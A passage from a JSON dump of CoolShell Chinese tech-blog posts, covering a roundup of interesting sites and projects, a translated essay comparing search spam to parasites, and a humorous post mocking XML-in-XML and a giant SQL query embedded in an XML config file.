篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux的cycle日历（你懂的）](https://coolshell.cn/articles/3489.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-18 一些有意思的网站和贴子.md",
    "content": "---\nlayout: post\ntitle: 一些有意思的网站和贴子\ndate: 2011/1/18/ 0:53:24\nupdated: 2011/1/18/ 0:53:24\nstatus: publish\npublished: true\ntype: post\n---\n\n各位朋友，又到了介绍各种杂项的时候了，正如以前的[这篇](https://coolshell.cn/articles/3013.html)和[这篇](https://coolshell.cn/articles/3437.html)文章一样，本篇文章也给你介绍一些最近出现的一些有趣的东西。希望你能喜欢。\n\n\n* 首先是[华尔街的一篇报道](http://online.wsj.com/article/SB10001424052748704723104576062173458318658.html?mod=WSJ_hps_sections_careerjournal#articleTabs%3Darticle)，2011年最好和最不好的工作，其引用了[CareerCast.com](http://careercast.com/)的数据，其列出了[100个工作种类](http://online.wsj.com/public/resources/documents/st_BESTJOBS0104_20110105.html)，并根据薪资、工作环境、工作鸭梨、体力消耗和就业前景做了一个排序。结果**排第一位的是“软件工程师”**，其理由是：高科技产品的需求呈爆炸式增长，以及人们对iPod、平板电脑、和其它科技产品应用软件的喜好，软件工程师被评为最佳职业。软件工程师有弹性工作时间，可以在家办公，而且每个月都有猎头找来。而最差是的则是码头工人。\n\n\n\n[![[bestjobspromo]](http://si.wsj.net/public/resources/images/OB-LP754_bestjo_D_20110104181820.jpg)](http://online.wsj.com/public/resources/documents/st_BESTJOBS0104_20110105.html)\n\n* 接下来是一个叫[“Java pass by value”的长贴](http://www.theserverside.com/news/thread.tss?track=NL-461&ad=808081&thread_id=61622&asrc=EM_NLN_13145929&uid=2780877)，楼主说有一天在LinkedIn.com上看到了Java Group里有人讨论Java是pass by value的，长达240+贴子。贴子里说，如果你使用Java的原始类型如int, long，就是传值，如果你用object, array，其实传的是一个引用的拷贝，所以，Java是传值的。呵呵，你觉得有道理吗？于是，成就了这个大讨论战。[reddit.com上也有N多的回贴](http://www.reddit.com/r/programming/comments/f1d7r/huge_war_over_whether_java_is_pass_by_reference/)。有空可以看看。\n\n\n\n* 然后是两个网站，不知道你是否还记得我们介绍的那个[Windows 3.1的Web网站](https://coolshell.cn/articles/2065.html)，用Web来实现一切看来是迟早的问题。下面，让我们来看两个网站：\n\t+ 第一个是仿MS-DOS的个人网站——<http://stopwilson.com/>\n\n\n[![](../wp-content/uploads/2011/01/msdos_website.jpg \"msdos_website\")](https://coolshell.cn/wp-content/uploads/2011/01/msdos_website.jpg) \n\n\n* + 第二个是仿iPad的网站——<http://alexw.me/ipad/>\n\n\n![](../wp-content/uploads/2011/01/Javascript_ipad.jpg \"Javascript ipad\")\n\n\n如果以后的上网设备必然是以移动为主，那么Web开发中的HTML+ Javascript将有可能成为最所有应用都需要去支持的东西。\n\n\n* 说到Web开发，表单提交功能是每个网站都会最到的事情。这里有一篇文章告诉你了如何增强表单的可用性。非常不错，Web程序员可以前往一读：<http://sixrevisions.com/user-interface/10-tips-for-optimizing-web-form-submission-usability/>\n\n\n\n* 接下来，向大家介绍一个开源项目——TeleHash，其基于[Kademlia](http://en.wikipedia.org/wiki/Kademlia)在[DHT网络](http://en.wikipedia.org/wiki/Distributed_hash_table)上以P2P的方式用[UDP协议](http://en.wikipedia.org/wiki/User_Datagram_Protocol)来发送一些[JSON数据](http://www.json.org/)。于是你的应用程序就可以使用这个库来开发你的应用了。其源码在：<https://github.com/quartzjer/TeleHash>，它的口号是：JSON + UDP + DHT = Freedom\n\n\n\n* 如果你想使用autotools（autoconf和automake）写Makefile，这里有一个非常不错的教程：<http://www.lrde.epita.fr/~adl/autotools.html>\n\n\n* 不知道大家知不知道微软xbox 360上的[Kinect](http://www.xbox.com/en-US/kinect)？其是XBox的一个硬件插件，有点类似于Wii，不过它的强大之处在于，你只需要用你的肢体动作就可以玩游戏了，不需要手上拿个什么。现在，几乎全世界的程序员都在hack这个东东，有人还用他玩WoW，也是强大。这里有一个教程教你如何通过[openkinect.org](http://openkinect.org/)和C#开发点自己的小玩意。\n\n\n* 相试着写一个最简单的操作系统吗？这里有[一篇教程](http://mikeos.berlios.de/write-your-own-os.html)教你用x86的汇编做一个操作系统，如果你想走得更远，可以看看[MikeOS project](http://mikeos.berlios.de/)。\n\n\n[http://mikeos.berlios.de/images/shot-3.png \"MikeOS\"](http://mikeos.berlios.de/)\n\n\n* 下面是一个HTML5 Canvas Cheat Sheet（点击看大图），关于更多的Cheat Sheet，你可以看看《[程序员小抄大全](https://coolshell.cn/articles/1566.html)》《[25个jQuery的编程小抄](https://coolshell.cn/articles/2964.html)》\n\n\n[![HTML5 Canvas Cheat Sheet](../wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet-300x221.png \"HTML5 Canvas Cheat Sheet\")](https://coolshell.cn/wp-content/uploads/2011/01/HTML5_Canvas_Cheat_Sheet.png)HTML5 Canvas Cheat Sheet\n* [Mono开始支持Android](http://monodroid.net/)。Mono是一个由Novell公司（先前是Ximian）主持的项目。该项目的目标是创建一系列符合ECMA标准（Ecma-334和Ecma-335）的.NET工具，包括C#编译器和共通語言執行平臺。与微软的.NET Framework不同，Mono项目不仅可以运行于Windows系统上，还可以运行于Linux，FreeBSD，Unix，Mac OS X和Solaris。这个项目叫MonoDroid。\n\n\n[http://tirania.org/images/mono-android.png \"http://monodroid.net/\"](http://monodroid.net/)\n\n\n \n\n\n* 最后来一个给力的教程吧，这是一个关于教你如何制作一个[3D的LED显示的教程](http://daid.mine.nu/instructabliss/?url=http://www.instructables.com/id/Led-Cube-8x8x8/)，相当的详细，甚至教你如何上ebay采购相关的电子元件和设备，还有如何编程，有兴趣的朋友可以一读。\n\n\n[http://www.instructables.com/image/FUXO1RWGICYBAOS/Led-Cube-8x8x8.jpg](http://daid.mine.nu/instructabliss/?url=http://www.instructables.com/id/Led-Cube-8x8x8/)\n\n\n \n\n\n这回就这么多，希望你喜欢。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [一些有意思的网站和贴子](https://coolshell.cn/articles/3480.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-19 Google 需要性爱.md",
    "content": "---\nlayout: post\ntitle: Google 需要性爱\ndate: 2011/1/19/ 4:43:0\nupdated: 2011/1/19/ 4:43:0\nstatus: publish\npublished: true\ntype: post\n---\n\n看到一篇趣文[Google Needs Sex](http://krugman.blogs.nytimes.com/2011/01/10/google-needs-sex/)，翻译过来。\n\n\nBrad DeLong 给我们写了 [两篇关于“Google遇到的麻烦”的文章](http://delong.typepad.com/sdj/2011/01/trouble-in-the-house-of-google.html)(墙)，这两篇文章基本上是说， 制造网络欺诈和网络垃圾信息的人会尽其一切努力来和搜索引擎进行博弈，这样一来，其会让搜索到的结果对我们越来越没有帮助（译注：百度的竞价排名成为了制造网络欺诈和网络垃圾信息甚至洗脑的温床）。于是，人们开始去使用其它一些影响地较少的搜索引擎，准确的说，是那些垃圾信息和欺诈信息的东西还不适应于这些搜索引擎。\n\n\n这让我想到了Sex。\n\n\n如果你查看一下进化论，你就会知道为什么有性繁殖是有进化性的，是有可持续性的，而进化也是需要巨大的成本的。\n\n\n为什么自然界不用克隆来繁殖呢？我所理解的最有说服力的答案是—— [防御寄生生物](http://www.sciencedaily.com/releases/2009/07/090706171542.htm)。如果每一代的生物体都和上一代完全的一样，寄生生物就总有一天可以破解生物体的防御，就是为什么！如果我们的某个香蕉园里种植着“克隆香焦” ，那么一旦某种病菌传播开来，那么我们整个香蕉园里的全部香蕉将毁于一旦。所以，混杂基因的模式会让寄生生物或病毒更难破坏我们的防御。\n\n\n因此，Google的这些欺诈信息和垃圾信息就像是寄生在人体上的寄生体一样，它们已经非常适应Google的搜索引擎。（译注：百度上的寄生体则像是百度自己养的宠物）\n\n\n我不知道“搜索引擎的性爱”会是什么样的，但是很明显，Google需要一些。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [Google 需要性爱](https://coolshell.cn/articles/3510.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-19 信XML，得自信.md",
    "content": "---\nlayout: post\ntitle: 信XML，得自信\ndate: 2011/1/19/ 0:49:48\nupdated: 2011/1/19/ 0:49:48\nstatus: publish\npublished: true\ntype: post\n---\n\nXML可能是计算有史以来最NB的发明了，以至于我们以没有XML的程序是难登大堂的程序，不用XML，你都不好意思当程序员。于是，我们看到了[很多很雷人的用法](https://coolshell.cn/articles/2504.html)（《信XML，得永生》），当然一些朋友当时并没有看懂，不过我不怪大家，因为我们依然深信使用XML可以让你有强大的Zhuangbility，于是我们有下面这两种相当Geiliable的用法。\n\n\n#### 一、XML中的XML\n\n\n这个例子是某公司的一个SOAP实现——我们的Webservice需要返回一个XML字符串，这怎么办呢？其实很容易，因为——XML是无所不能的，那怕是封装自己。\n\n\n\n```\n\n<!-- ED: soap envelope omitted for readability -->\n<string xmlns=\"urn:Initech.Global.Services\">\n  &lt;CompanyGetConnector&gt;\n    &lt;xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"&gt;\n      &lt;xs:element name=\"InitechGetConnector\"&gt;\n        &lt;xs:complexType&gt;\n          &lt;xs:choice maxOccurs=\"unbounded\"&gt;\n            &lt;xs:element name=\"employees\"&gt;\n              &lt;xs:complexType&gt;\n                &lt;xs:sequence&gt;\n                  &lt;xs:element name=\"EmployerName\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Employee\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Firstname\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Prefix\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Lastname\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Org._unit\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Function\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"E-mail_work\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Telephone_work\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Mobile_work\" type=\"xs:string\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Birthdate\" type=\"xs:date\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Hired_since__irt._yearsemployed_\" type=\"xs:date\" minOccurs=\"0\"/&gt;\n                  &lt;xs:element name=\"Image\" type=\"xs:base64Binary\" minOccurs=\"0\"/&gt;\n                &lt;/xs:sequence&gt;\n              &lt;/xs:complexType&gt;\n            &lt;/xs:element&gt;\n          &lt;/xs:choice&gt;\n        &lt;/xs:complexType&gt;\n      &lt;/xs:element&gt;\n    &lt;/xs:schema&gt;\n\n    &lt;employees&gt;\n      &lt;EmployerName&gt;\n        My Client\n      &lt;/EmployerName&gt;\n      &lt;Employee&gt;\n        100001\n      &lt;/Employee&gt;\n    &lt;/employees&gt;\n  &lt;/CompanyGetConnector&gt;\n</string>\n\n```\n\n\n#### 二、一切皆为配置\n\n\n没有hard code这是一个优秀程序员在入门时就要学习的，对于Hard Coder的东西最好写在配置文件中，这样修改这些参数就不需要修改代码而需要重新编译了。自从有了XML之后，我们的配置文件就不在使用像ini文件或是Unix下在conf文件那样的易读，我们认为，使用XML作为配置文件的格式是大势所趋，而且，我们要让我们的代码尽量的可以高度的配置，于是我们出现了下面的代码——这是一个强大的尝试，其标志着，我们完全可以以不久的未来用XML来编写一切语言的代码。\n\n\n注：下面的代码最强大的应该是XML中的那个SQL。\n\n\n\n```\n<add key=\"sqlSource\" value=\"\n    SELECT TOP REPLACE_NUMBER_OF_ROWS_TO_RETRIEVE\n           History.handle AS ID_FAX_LOG,\n           CASE isnumeric(SUBSTRING (Notes_Doc.Text ,1,8))\n              WHEN 1 then SUBSTRING (Notes_Doc.Text ,1,8)\n              ELSE NULL END AS ID_STAGE,\n           DocumentUsers.UserName AS NM_DOCUMENTUSER_USERNAME,\n           DocumentUsers.UserID AS TXT_DOCUMENTUSER_USERID,\n           DocumentUserGroups.GroupID AS TXT_DOCUMENTUSERGROUP_GROUPID,\n           Documents.UniqueID AS TXT_DOCUMENTS_UNIQUE_ID,\n           History.TRDateTime AS DT_HISTORY_TRANSACTION_DATE,\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN '??'\n                          ELSE\n                             CASE (Documents.Flags & 0x10)\n                                WHEN 0 THEN 'Send'\n                                ELSE 'Recieve'\n                                END\n                          END\n                    ELSE CAST(HistoryGeneric_Short.Data AS varchar(32))\n                    END\n              ELSE 'Print'\n              END AS TXT_TRANSACTION_TYPE,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN '??'\n                          ELSE\n                             CASE Documents_Term.TermStatStr\n                                WHEN 'Success' THEN 'Success'\n                                ELSE 'Fail'\n                                END\n                          END\n                    ELSE\n                       CASE HistoryGeneric.ErrCode\n                          WHEN 0 THEN 'Success'\n                       ELSE 'Fail'\n                       END\n                    END\n              ELSE\n                 CASE SUBSTRING(HistoryPrint.Msg,1,7)\n                    WHEN 'Success' THEN 'Success'\n                    ELSE 'Fail'\n                    END\n              END AS TXT_TRANSACTION_STATUS,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN '??'\n                          ELSE COALESCE(HistoryTRX_Term.TermStatStr,CONVERT(varchar,Documents.TermStat))\n                          END\n                    ELSE REPLACE(REPLACE(CAST(HistoryGeneric_Detail.Data AS varchar(192)) ,'\\t',''), '~u', HistoryGeneric.UserID )\n                    END\n              ELSE HistoryPrint.Msg\n              END AS TXT_TRANSACTION_MESSAGE,\n\n           CASE COALESCE(HistoryPrint.handle,0)\n              WHEN 0 THEN\n                 CASE COALESCE(HistoryGeneric.handle,0)\n                    WHEN 0 THEN\n                       CASE COALESCE(HistoryTRX.handle,0)\n                          WHEN 0 THEN Documents.ElapsedSendTime\n                          ELSE\n                             CASE COALESCE(HistoryTRX.handle,0)\n                                WHEN 0 THEN Documents.ElapsedSendTime\n                                ELSE HistoryTRX.ElapsedTime\n                                END\n                          END\n                    ELSE NULL\n                    END\n              ELSE HistoryPrint.TimeToPrint\n              END AS NBR_TRANSACTION_ELAPSEDTIME,\n\n           CASE COALESCE(HistoryGeneric.handle,0)\n              WHEN 0 THEN\n                 CASE substring(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE\n                               (REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                  Documents.Destination,' ',''),')',''),'(',''),\n                                  '-',''),'/',''),'.',''),'*',''),',',''),';',''),\n                                  '\\',''),'-',''),1,1)\n                    WHEN '1' THEN substring(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                            REPLACE(REPLACE(REPLACE( REPLACE(REPLACE(\n                                            REPLACE(Documents.Destination,' ',''),')',\n                                            ''),'(',''),'-',''),'/',''),'.',''),'*',''),\n                                            ',',''),';',''),'\\',''),'-',''), 2, len(\n                                            REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                                            REPLACE(REPLACE(REPLACE( REPLACE(REPLACE(\n                                            REPLACE(Documents.Destination,' ',''),')',\n                                            ''),'(',''),'-',''),'/',''),'.',''),'*','')\n                                            ,',',''),';',''),'\\',''),'-','')) )\n                    ELSE REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(\n                         REPLACE(REPLACE(REPLACE(Documents.Destination,' ',''),'-',''),')',\n                         ''),'(',''),'/',''),'.',''),'*',''),',',''),';',''),'\\',''),'-','')\n                    END\n              ELSE HistoryGeneric.UserID\n              END AS TXT_TRANSACTION_DESTINATION,\n\n           CASE (Documents.Flags & 0x8)\n              WHEN 0 THEN 'N'\n              ELSE 'Y' END AS NBR_DOCUMENTS_DELETED,\n\n           CASE (Documents.Flags & 0x4)\n              WHEN 0 THEN 'N'\n              ELSE 'Y' END AS NBR_DOCUMENTS_VIEWED,\n\n           /* Fax Destination */\n           Documents.ToName AS TXT_DOCUMENTS_TO_NAME,\n           Documents.ToContactNum AS TXT_DOCUMENTS_TO_CONTACT_NUM,\n           Documents.ToCompany AS TXT_DOCUMENTS_TO_COMPANY,\n           Documents.ToCityState AS TXT_DOCUMENTS_TO_CITY_STATE,\n           Documents.FaxDIDNum AS TXT_DOCUMENTS_FAX_DID_NUM,\n           Documents.FromPhoneNum AS TXT_DOCUMENTS_FROM_PHONE_NUM,\n           Documents.GeneralFaxNum AS TXT_DOCUMENTS_GENERAL_FAX_NUM,\n           HistoryPrint.NetPrintID AS TXT_HISTORYPRINT_NETPRINTID,\n\n           /* Number of pages */\n           DocFiles.NumPages AS NBR_DOCFILES_TOTAL_PAGE_COUNT,\n           HistoryTRX.GoodPageCount AS NBR_HISTORYTRX_GOOD_PAGE_COUNT,\n           HistoryTRX.BadPageCount AS NBR_HISTORYTRX_BAD_PAGE_COUNT,\n           HistoryPrint.PagesPrinted AS NBR_HISTORYPRINT_PAGESPRINTED,\n           HistoryPrint.CopiesPrinted AS NBR_HISTORYPRINT_COPIESPRINTED,\n           /* location of fax image */ DTConfigurations.ServerName AS TXT_DOCFILES_SERVER_NAME,\n           DTConfigurations.ImageDir AS TXT_DOCFILES_IMAGE_DIR,\n           DocFiles.BodyFilename AS TXT_DOCFILES_BODY_FILENAME,\n           Documents.FCSFile AS TXT_DOCFILES_FCS_FILE,\n           REPLACE( DTConfigurations.ImageDir, 'D:\\Data', '\\\\'+ServerName )\n              + '\\'+DocFiles.BodyFilename+'*' AS TXT_DOCFILES_PATH_BODY_NAME,\n           REPLACE( DTConfigurations.ImageDir, 'D:\\Data', '\\\\'+ServerName )\n              + '\\'+Documents.FCSFile+'*' AS TXT_DOCUMENTS_PATH_FCSFILE,\n           Notes_Doc.Text AS TXT_NOTES_DOC_TEXT,\n           Notes_CCList.Text AS TXT_NOTES_CCLIST_TEXT,\n           DocumentUsers.RouteInfo AS TXT_DOCUMENTUSER_ROUTEINFO,\n           DocumentUsers.RouteType AS NBR_DOCUMENTUSER_ROUTETYPE,\n           DocumentUsers.EmailAddr AS TXT_DOCUMENTUSER_EMAILADDR,\n\n           /* misc Documents data */\n           Documents.CreationTime AS DT_DOCUMENTS_CREATION_TIME,\n           Documents.FRFlags2 AS NBR_DOCUMENTS_FRFLAGS2,\n           Documents.Flags AS NBR_DOCUMENTS_FLAGS,\n           Documents.ErrorCode AS NBR_DOCUMENTS_ERROR_CODE,\n           Documents.TermStat AS NBR_DOCUMENTS_TERMSTAT,\n\n           /* misc HistoryTRX data */\n           HistoryTRX.RemoteID AS TXT_HISTORYTRX_REMOTE_ID,\n           HistoryTRX.RemoteServer AS TXT_HISTORYTRX_REMOTE_SERVER,\n           HistoryTRX.Flags AS NBR_HISTORYTRX_FLAGS,\n           HistoryTRX.TermStat AS NBR_HISTORYTRX_TERMSTAT,\n\n           /* misc HistoryTRX data */\n           HistoryGeneric.ErrCode AS NBR_HISTORYGENERIC_ERRCODE,\n           HistoryGeneric.GenType AS NBR_HISTORYGENERIC_GENTYPE,\n           HistoryGeneric.UserID AS TXT_HISTORYGENERIC_USERID,\n\n           /* Handles */ Documents.handle AS ID_DOCUMENTS_HANDLE,\n           History.handle AS ID_HISTORY_HANDLE,\n           HistoryTRX.handle AS ID_HISTORYTRX_HANDLE,\n           HistoryGeneric.handle AS ID_HISTORYGENERIC_HANDLE,\n           HistoryPrint.handle AS ID_HISTORYPRINT_HANDLE\n\n    FROM Documents\n            INNER JOIN Users DocumentUsers ON Documents.OwnerID = DocumentUsers.handle\n            INNER JOIN History ON Documents.handle = History.Owner\n            LEFT OUTER JOIN DocFiles ON Documents.DocFileDBA = DocFiles.handle\n            LEFT OUTER JOIN Groups DocumentUserGroups ON DocumentUsers.GroupID = DocumentUserGroups.handle\n            LEFT OUTER JOIN HistoryPrint ON HistoryPrint.handle = History.handle\n            LEFT OUTER JOIN HistoryGeneric ON HistoryGeneric.handle = History.handle\n            LEFT OUTER JOIN Notes Notes_Doc ON Notes_Doc.handle = Documents.NoteDBA\n            LEFT OUTER JOIN Notes Notes_CCList ON Notes_CCList.handle = Documents.CCListDBA\n            LEFT OUTER join DTConfigurations ON DTConfigurations.ServerGUID = Documents.ServerGUID\n            LEFT OUTER JOIN Globalization HistoryGeneric_Detail ON\n               HistoryGeneric_Detail.Namespace = 'RightFax.SQL.HistoryGeneric'\n               AND SUBSTRING(HistoryGeneric_Detail.LocKey,5,20) = 'DetailMsg'\n               AND SUBSTRING(HistoryGeneric_Detail.LocKey,1,3) = CAST(HistoryGeneric.GenType AS varchar)\n               AND HistoryGeneric_Detail.IsoLanguageName = 'en-us'\n            LEFT OUTER JOIN Globalization HistoryGeneric_Short ON\n               HistoryGeneric_Short.Namespace = 'RightFax.SQL.HistoryGeneric'\n               AND SUBSTRING(HistoryGeneric_Short.LocKey,5, 20) = 'ShortMsg'\n               AND SUBSTRING(HistoryGeneric_Short.LocKey,1, 3) = CAST(HistoryGeneric.GenType AS varchar)\n               AND HistoryGeneric_Short.IsoLanguageName = 'en-us'\n            LEFT OUTER JOIN HistoryTRX ON HistoryTRX.handle = History.handle\n            LEFT OUTER JOIN (\n               SELECT distinct CONVERT(varchar,G.Data) AS TermStatStr,\n                      T.StatusCode AS TermStatCode,\n                      T.handle AS TermStat\n                 FROM Globalization G\n                         INNER JOIN TermStatToStatusCode T ON\n                            ( G.LocKey = 'HistoryTRX.BTHUSTAT'\n                                 + RIGHT('0000'\n                                 + LTRIM(RTRIM(CONVERT(char(3),T.StatusCode))), 3)\n                              AND G.IsoLanguageName = 'en-us'\n                              AND G.LocKey like 'HistoryTRX.BTHUSTAT%' )\n                  ) AS HistoryTRX_Term ON HistoryTRX.TermStat = HistoryTRX_Term.TermStat\n            LEFT OUTER JOIN (\n               SELECT distinct CONVERT(varchar,G.Data) AS TermStatStr,\n                      T.StatusCode AS TermStatCode,\n                      T.handle AS TermStat\n                 FROM Globalization G\n                         INNER JOIN TermStatToStatusCode T ON\n                            ( G.LocKey = 'HistoryTRX.BTHUSTAT'\n                                 + RIGHT('0000'\n                                 + LTRIM(RTRIM(CONVERT(char(3),T.StatusCode))), 3)\n                              AND G.IsoLanguageName = 'en-us'\n                              AND G.LocKey like 'HistoryTRX.BTHUSTAT%' )\n                  ) AS Documents_Term ON Documents.TermStat = Documents_Term.TermStat\n    WHERE\n       NOT (\n          /* The outer join on the HistoryPrint, HistoryGeneric, and HistoryTRX results in\n           * rows that just have null history data. One of the three must have a value. If\n           * all are null, the row is a result of the outer joins and the rows have no useable data so they\n           * filtered out. */\n          HistoryTRX.handle IS NULL\n             AND HistoryGeneric.handle IS NULL\n             AND HistoryPrint.handle IS NULL )\n       AND DocumentUsers.UserName IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND DocumentUsers.UserID IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND Documents.UniqueID IS NOT NULL\n\n       /* THIS VALUE is inserted into a NON NULL column in the FAX_LOG table. */\n       AND History.TRDateTime > 'REPLACE_WHERE_CLAUSE_CRITERIA'\n   ORDER BY History.TRDateTime\"\n/> \n```\n\n来源：[文章一](http://thedailywtf.com/Articles/All-In-The-Config.aspx)，[文章二](http://thedailywtf.com/Articles/XMLd-XML.aspx)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3609.html)[那些炒作过度的技术和概念](https://coolshell.cn/articles/3609.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/3585.html)[SOAP的S是Simple](https://coolshell.cn/articles/3585.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/2504.html)[信XML，得永生！](https://coolshell.cn/articles/2504.html)\nThe post [信XML，得自信](https://coolshell.cn/articles/3498.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-20 JS游戏引擎列表.md",
